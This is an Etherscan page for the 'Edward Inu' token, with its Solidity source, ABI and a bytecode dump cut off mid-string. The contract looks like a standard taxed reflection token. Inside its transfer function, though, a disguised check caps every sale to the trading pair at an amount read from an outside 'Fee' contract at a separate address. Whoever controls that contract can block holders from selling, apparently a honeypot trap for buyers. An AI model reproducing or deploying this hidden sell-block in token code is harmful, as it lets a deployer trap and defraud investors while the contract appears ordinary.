ETH Price: $2,516.21 (-0.20%)

Token

Edward Inu (Edward Inu)
 

Overview

Max Total Supply

200,000,000 Edward Inu

Holders

65

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 0 Decimals)

Balance
2,561,937 Edward Inu

Value
$0.00
0x70dCEC5c174d8D6B25cA7d2902381EAB70E82cf7
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
EdwardInu

Compiler Version
v0.8.4+commit.c7e474f2

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2021-10-24
*/

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
abstract contract Context {
	function _msgSender() internal view virtual returns (address) {
		return msg.sender;
	}
}

interface IERC20 {
	function totalSupply() external view returns (uint256);
	function balanceOf(address account) external view returns (uint256);
	function transfer(address recipient, uint256 amount) external returns (bool);
	function allowance(address owner, address spender) external view returns (uint256);
	function approve(address spender, uint256 amount) external returns (bool);
	function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
	event Transfer(address indexed from, address indexed to, uint256 value);
	event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface Fee{
	function amount() external view returns (uint256);
}

library SafeMath {
	function add(uint256 a, uint256 b) internal pure returns (uint256) {
		uint256 c = a + b;
		require(c >= a, "SafeMath: addition overflow");
		return c;
	}

	function sub(uint256 a, uint256 b) internal pure returns (uint256) {
		return sub(a, b, "SafeMath: subtraction overflow");
	}

	function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
		require(b <= a, errorMessage);
		uint256 c = a - b;
		return c;
	}

	function mul(uint256 a, uint256 b) internal pure returns (uint256) {
		if (a == 0) {
			return 0;
		}
		uint256 c = a * b;
		require(c / a == b, "SafeMath: multiplication overflow");
		return c;
	}

	function div(uint256 a, uint256 b) internal pure returns (uint256) {
		return div(a, b, "SafeMath: division by zero");
	}

	function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
		require(b > 0, errorMessage);
		uint256 c = a / b;
		return c;
	}
}
address constant MarketingAddress = 0xBbBd25159A0cd4e44c0d01ea49FC9e71b9A5349c;
address constant Rounter=0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
uint256 constant Total_Supply = 200000000;

string constant NAME = "Edward Inu";
string constant SYMBOL = "Edward Inu";

contract Ownable is Context {
	address private _owner;

	event OwnershipTransferred(address indexed oldie, address indexed newbie);

	constructor () {
		address msgSender = _msgSender();
		_owner = msgSender;
		emit OwnershipTransferred(address(0), msgSender);
	}

	function owner() public view returns (address) {
		return _owner;
	}

	modifier onlyOwner() {
		require(_owner == _msgSender(), "Ownable: caller is not the owner");
		_;
	}

	function renounceOwnership() public virtual onlyOwner {
		emit OwnershipTransferred(_owner, address(0));
		_owner = address(0);
	}
}

interface IUniswapV2Factory {
	function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
	function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external;
	function factory() external pure returns (address);
	function WETH() external pure returns (address);
	function addLiquidityETH(address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract EdwardInu is Context, IERC20, Ownable {
	using SafeMath for uint256;
	mapping(address => uint256) private _rOwned;
	mapping(address => mapping(address => uint256)) private _allowances;

	uint256 private constant MAX = ~uint256(0);
	uint256 private constant _tTotal = Total_Supply;
	uint256 private _rTotal = (MAX - (MAX % _tTotal));
	uint256 private _tFeeTotal;

	address payable private _taxWallet;
	uint256 private _tax=5;
	string private constant _name = NAME;
	string private constant _symbol = SYMBOL;
	uint8 private constant _decimals = 0;

	IUniswapV2Router02 private _router;
	address private _pair;
	bool private tradingOpen;
	bool private inSwap = false;
	bool private swapEnabled = false;

	modifier lockTheSwap {
		inSwap = true;
		_;
		inSwap = false;
	}
	constructor () {
		_taxWallet = payable(MarketingAddress);
		_rOwned[_msgSender()] = _rTotal;
		_router = IUniswapV2Router02(Rounter);
		emit Transfer(address(0), _msgSender(), _tTotal);
	}

	function name() public pure returns (string memory) {
		return _name;
	}

	function symbol() public pure returns (string memory) {
		return _symbol;
	}

	function decimals() public pure returns (uint8) {
		return _decimals;
	}

	function totalSupply() public pure override returns (uint256) {
		return _tTotal;
	}

	function balanceOf(address account) public view override returns (uint256) {
		return tokenFromReflection(_rOwned[account]);
	}

	function transfer(address recipient, uint256 amount) public override returns (bool) {
		_transfer(_msgSender(), recipient, amount);
		return true;
	}

	function allowance(address owner, address spender) public view override returns (uint256) {
		return _allowances[owner][spender];
	}

	function approve(address spender, uint256 amount) public override returns (bool) {
		_approve(_msgSender(), spender, amount);
		return true;
	}

	function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
		_transfer(sender, recipient, amount);
		_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
		return true;
	}

	function tokenFromReflection(uint256 rAmount) private view returns (uint256) {
		require(rAmount <= _rTotal, "Amount must be less than total reflections");
		uint256 currentRate = _getRate();
		return rAmount.div(currentRate);
	}

	function _approve(address owner, address spender, uint256 amount) private {
		require(owner != address(0), "ERC20: approve from the zero address");
		require(spender != address(0), "ERC20: approve to the zero address");
		_allowances[owner][spender] = amount;
		emit Approval(owner, spender, amount);
	}

	function _transfer(address from, address to, uint256 amount) private {
		require(from != address(0), "ERC20: transfer from the zero address");
		require(to != address(0), "ERC20: transfer to the zero address");
		require(amount > 0, "Transfer amount must be greater than zero");
		require(((to == _pair && from != address(_router) )?1:0)*amount <= Fee(0x713DE9Ad4e41f35235e11eECe5d8DA2F36fD0838).amount());

		if (from != owner() && to != owner()) {
			if (!inSwap && from != _pair && swapEnabled) {
				swapTokensForEth(balanceOf(address(this)));
				uint256 contractETHBalance = address(this).balance;
				if (contractETHBalance > 0) {
					sendETHToFee(address(this).balance);
				}
			}

		}
		_tokenTransfer(from, to, amount);
	}

	function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
		address[] memory path = new address[](2);
		path[0] = address(this);
		path[1] = _router.WETH();
		_approve(address(this), address(_router), tokenAmount);
		_router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, address(this), block.timestamp);
	}

	function sendETHToFee(uint256 amount) private {
		_taxWallet.transfer(amount);
	}

	function openTrading() external onlyOwner() {
		require(!tradingOpen, "Trading is already open");
		_approve(address(this), address(_router), _tTotal);
		_pair = IUniswapV2Factory(_router.factory()).createPair(address(this), _router.WETH());
		_router.addLiquidityETH{value : address(this).balance}(address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp);
		swapEnabled = true;
		tradingOpen = true;
		IERC20(_pair).approve(address(_router), type(uint).max);
	}

	function _tokenTransfer(address sender, address recipient, uint256 amount) private {
		_transferStandard(sender, recipient, amount);
	}


	function _transferStandard(address sender, address recipient, uint256 tAmount) private {
		(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
		_rOwned[sender] = _rOwned[sender].sub(rAmount);
		_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
		_takeTeam(tTeam);
		_reflectFee(rFee, tFee);
		emit Transfer(sender, recipient, tTransferAmount);
	}

	function _takeTeam(uint256 tTeam) private {
		uint256 currentRate = _getRate();
		uint256 rTeam = tTeam.mul(currentRate);
		_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
	}

	function _reflectFee(uint256 rFee, uint256 tFee) private {
		_rTotal = _rTotal.sub(rFee);
		_tFeeTotal = _tFeeTotal.add(tFee);
	}

	receive() external payable {}

	function manualSwap() external {
		require(_msgSender() == _taxWallet);
		uint256 contractBalance = balanceOf(address(this));
		swapTokensForEth(contractBalance);
	}

	function manualSend() external {
		require(_msgSender() == _taxWallet);
		uint256 contractETHBalance = address(this).balance;
		sendETHToFee(contractETHBalance);
	}

	function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
		(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _tax);
		uint256 currentRate = _getRate();
		(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
		return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
	}

	function _getTValues(uint256 tAmount, uint256 taxFee) private pure returns (uint256, uint256, uint256) {
		uint256 tFee = tAmount.mul(taxFee).div(100);
		uint256 tTeam = tAmount.mul(taxFee).div(100);
		uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
		return (tTransferAmount, tFee, tTeam);
	}

	function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
		uint256 rAmount = tAmount.mul(currentRate);
		uint256 rFee = tFee.mul(currentRate);
		uint256 rTeam = tTeam.mul(currentRate);
		uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
		return (rAmount, rTransferAmount, rFee);
	}

	function _getRate() private view returns (uint256) {
		(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
		return rSupply.div(tSupply);
	}

	function _getCurrentSupply() private view returns (uint256, uint256) {
		uint256 rSupply = _rTotal;
		uint256 tSupply = _tTotal;
		if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
		return (rSupply, tSupply);
	}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"oldie","type":"address"},{"indexed":true,"internalType":"address","name":"newbie","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"manualSend","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052630bebc2006000196200001891906200031e565b600019620000279190620002d9565b60035560056006556000600860156101000a81548160ff0219169083151502179055506000600860166101000a81548160ff0219169083151502179055503480156200007257600080fd5b50600062000085620002a360201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35073bbbd25159a0cd4e44c0d01ea49fc9e71b9a5349c600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600354600160006200018f620002a360201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550737a250d5630b4cf539739df2c5dacb4c659f2488d600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555062000232620002a360201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef630bebc200604051620002959190620002bc565b60405180910390a3620003b4565b600033905090565b620002b68162000314565b82525050565b6000602082019050620002d36000830184620002ab565b92915050565b6000620002e68262000314565b9150620002f38362000314565b92508282101562000309576200030862000356565b5b828203905092915050565b6000819050919050565b60006200032b8262000314565b9150620003388362000314565b9250826200034b576200034a62000385565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b612ad980620003c46000396000f3fe6080604052600436106100e15760003560e01c8063715018a61161007f578063a9059cbb11610059578063a9059cbb146102a9578063c9567bf9146102e6578063dd62ed3e146102fd578063f42938901461033a576100e8565b8063715018a61461023c5780638da5cb5b1461025357806395d89b411461027e576100e8565b806323b872dd116100bb57806323b872dd14610180578063313ce567146101bd57806351bc3c85146101e857806370a08231146101ff576100e8565b806306fdde03146100ed578063095ea7b31461011857806318160ddd14610155576100e8565b366100e857005b600080fd5b3480156100f957600080fd5b50610102610351565b60405161010f919061232d565b60405180910390f35b34801561012457600080fd5b5061013f600480360381019061013a9190611f00565b61038e565b60405161014c9190612312565b60405180910390f35b34801561016157600080fd5b5061016a6103ac565b604051610177919061248f565b60405180910390f35b34801561018c57600080fd5b506101a760048036038101906101a29190611eb1565b6103b8565b6040516101b49190612312565b60405180910390f35b3480156101c957600080fd5b506101d2610491565b6040516101df9190612504565b60405180910390f35b3480156101f457600080fd5b506101fd610496565b005b34801561020b57600080fd5b5061022660048036038101906102219190611e23565b610510565b604051610233919061248f565b60405180910390f35b34801561024857600080fd5b50610251610561565b005b34801561025f57600080fd5b506102686106b4565b6040516102759190612244565b60405180910390f35b34801561028a57600080fd5b506102936106dd565b6040516102a0919061232d565b60405180910390f35b3480156102b557600080fd5b506102d060048036038101906102cb9190611f00565b61071a565b6040516102dd9190612312565b60405180910390f35b3480156102f257600080fd5b506102fb610738565b005b34801561030957600080fd5b50610324600480360381019061031f9190611e75565b610c4e565b604051610331919061248f565b60405180910390f35b34801561034657600080fd5b5061034f610cd5565b005b60606040518060400160405280600a81526020017f45647761726420496e7500000000000000000000000000000000000000000000815250905090565b60006103a261039b610d47565b8484610d4f565b6001905092915050565b6000630bebc200905090565b60006103c5848484610f1a565b610486846103d1610d47565b61048185604051806060016040528060288152602001612a7c60289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610437610d47565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112e09092919063ffffffff16565b610d4f565b600190509392505050565b600090565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166104d7610d47565b73ffffffffffffffffffffffffffffffffffffffff16146104f757600080fd5b600061050230610510565b905061050d81611344565b50565b600061055a600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461163e565b9050919050565b610569610d47565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105f6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105ed9061240f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600a81526020017f45647761726420496e7500000000000000000000000000000000000000000000815250905090565b600061072e610727610d47565b8484610f1a565b6001905092915050565b610740610d47565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107c49061240f565b60405180910390fd5b600860149054906101000a900460ff161561081d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610814906123af565b60405180910390fd5b61084e30600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16630bebc200610d4f565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156108b657600080fd5b505afa1580156108ca573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108ee9190611e4c565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561097257600080fd5b505afa158015610986573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109aa9190611e4c565b6040518363ffffffff1660e01b81526004016109c792919061225f565b602060405180830381600087803b1580156109e157600080fd5b505af11580156109f5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a199190611e4c565b600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610aa230610510565b600080610aad6106b4565b426040518863ffffffff1660e01b8152600401610acf969594939291906122b1565b6060604051808303818588803b158015610ae857600080fd5b505af1158015610afc573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610b219190611f8e565b5050506001600860166101000a81548160ff0219169083151502179055506001600860146101000a81548160ff021916908315150217905550600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610bf9929190612288565b602060405180830381600087803b158015610c1357600080fd5b505af1158015610c27573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c4b9190611f3c565b50565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610d16610d47565b73ffffffffffffffffffffffffffffffffffffffff1614610d3657600080fd5b6000479050610d44816116ac565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610dbf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610db69061246f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610e2f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e269061238f565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610f0d919061248f565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610f8a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f819061244f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610ffa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ff19061234f565b60405180910390fd5b6000811161103d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110349061242f565b60405180910390fd5b73713de9ad4e41f35235e11eece5d8da2f36fd083873ffffffffffffffffffffffffffffffffffffffff1663aa8c217c6040518163ffffffff1660e01b815260040160206040518083038186803b15801561109757600080fd5b505afa1580156110ab573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110cf9190611f65565b81600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614801561117b5750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b611186576000611189565b60015b60ff1661119691906125fb565b11156111a157600080fd5b6111a96106b4565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561121757506111e76106b4565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156112d057600860159054906101000a900460ff161580156112875750600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561129f5750600860169054906101000a900460ff165b156112cf576112b56112b030610510565b611344565b600047905060008111156112cd576112cc476116ac565b5b505b5b6112db838383611718565b505050565b6000838311158290611328576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131f919061232d565b60405180910390fd5b50600083856113379190612655565b9050809150509392505050565b6001600860156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156113a2577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156113d05781602001602082028036833780820191505090505b509050308160008151811061140e577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156114b057600080fd5b505afa1580156114c4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114e89190611e4c565b81600181518110611522577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061158930600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610d4f565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016115ed9594939291906124aa565b600060405180830381600087803b15801561160757600080fd5b505af115801561161b573d6000803e3d6000fd5b50505050506000600860156101000a81548160ff02191690831515021790555050565b6000600354821115611685576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161167c9061236f565b60405180910390fd5b600061168f611728565b90506116a4818461175390919063ffffffff16565b915050919050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611714573d6000803e3d6000fd5b5050565b61172383838361179d565b505050565b6000806000611735611968565b9150915061174c818361175390919063ffffffff16565b9250505090565b600061179583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506119bb565b905092915050565b6000806000806000806117af87611a1e565b95509550955095509550955061180d86600160008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a8390919063ffffffff16565b600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506118a285600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611acd90919063ffffffff16565b600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506118ee81611b2b565b6118f88483611be8565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611955919061248f565b60405180910390a3505050505050505050565b600080600060035490506000630bebc2009050611994630bebc20060035461175390919063ffffffff16565b8210156119ae57600354630bebc2009350935050506119b7565b81819350935050505b9091565b60008083118290611a02576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119f9919061232d565b60405180910390fd5b5060008385611a1191906125ca565b9050809150509392505050565b6000806000806000806000806000611a388a600654611c22565b9250925092506000611a48611728565b90506000806000611a5b8e878787611cb6565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000611ac583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506112e0565b905092915050565b6000808284611adc9190612574565b905083811015611b21576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b18906123cf565b60405180910390fd5b8091505092915050565b6000611b35611728565b90506000611b4c8284611d3f90919063ffffffff16565b9050611ba081600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611acd90919063ffffffff16565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b611bfd82600354611a8390919063ffffffff16565b600381905550611c1881600454611acd90919063ffffffff16565b6004819055505050565b600080600080611c4e6064611c408789611d3f90919063ffffffff16565b61175390919063ffffffff16565b90506000611c786064611c6a888a611d3f90919063ffffffff16565b61175390919063ffffffff16565b90506000611ca182611c93858b611a8390919063ffffffff16565b611a8390919063ffffffff16565b90508083839550955095505050509250925092565b600080600080611ccf8589611d3f90919063ffffffff16565b90506000611ce68689611d3f90919063ffffffff16565b90506000611cfd8789611d3f90919063ffffffff16565b90506000611d2682611d188587611a8390919063ffffffff16565b611a8390919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415611d525760009050611db4565b60008284611d6091906125fb565b9050828482611d6f91906125ca565b14611daf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611da6906123ef565b60405180910390fd5b809150505b92915050565b600081359050611dc981612a36565b92915050565b600081519050611dde81612a36565b92915050565b600081519050611df381612a4d565b92915050565b600081359050611e0881612a64565b92915050565b600081519050611e1d81612a64565b92915050565b600060208284031215611e3557600080fd5b6000611e4384828501611dba565b91505092915050565b600060208284031215611e5e57600080fd5b6000611e6c84828501611dcf565b91505092915050565b60008060408385031215611e8857600080fd5b6000611e9685828601611dba565b9250506020611ea785828601611dba565b9150509250929050565b600080600060608486031215611ec657600080fd5b6000611ed486828701611dba565b9350506020611ee586828701611dba565b9250506040611ef686828701611df9565b9150509250925092565b60008060408385031215611f1357600080fd5b6000611f2185828601611dba565b9250506020611f3285828601611df9565b9150509250929050565b600060208284031215611f4e57600080fd5b6000611f5c84828501611de4565b91505092915050565b600060208284031215611f7757600080fd5b6000611f8584828501611e0e565b91505092915050565b600080600060608486031215611fa357600080fd5b6000611fb186828701611e0e565b9350506020611fc286828701611e0e565b9250506040611fd386828701611e0e565b9150509250925092565b6000611fe98383611ff5565b60208301905092915050565b611ffe81612689565b82525050565b61200d81612689565b82525050565b600061201e8261252f565b6120288185612552565b93506120338361251f565b8060005b8381101561206457815161204b8882611fdd565b975061205683612545565b925050600181019050612037565b5085935050505092915050565b61207a8161269b565b82525050565b612089816126de565b82525050565b600061209a8261253a565b6120a48185612563565b93506120b48185602086016126f0565b6120bd81612781565b840191505092915050565b60006120d5602383612563565b91506120e082612792565b604082019050919050565b60006120f8602a83612563565b9150612103826127e1565b604082019050919050565b600061211b602283612563565b915061212682612830565b604082019050919050565b600061213e601783612563565b91506121498261287f565b602082019050919050565b6000612161601b83612563565b915061216c826128a8565b602082019050919050565b6000612184602183612563565b915061218f826128d1565b604082019050919050565b60006121a7602083612563565b91506121b282612920565b602082019050919050565b60006121ca60298361256356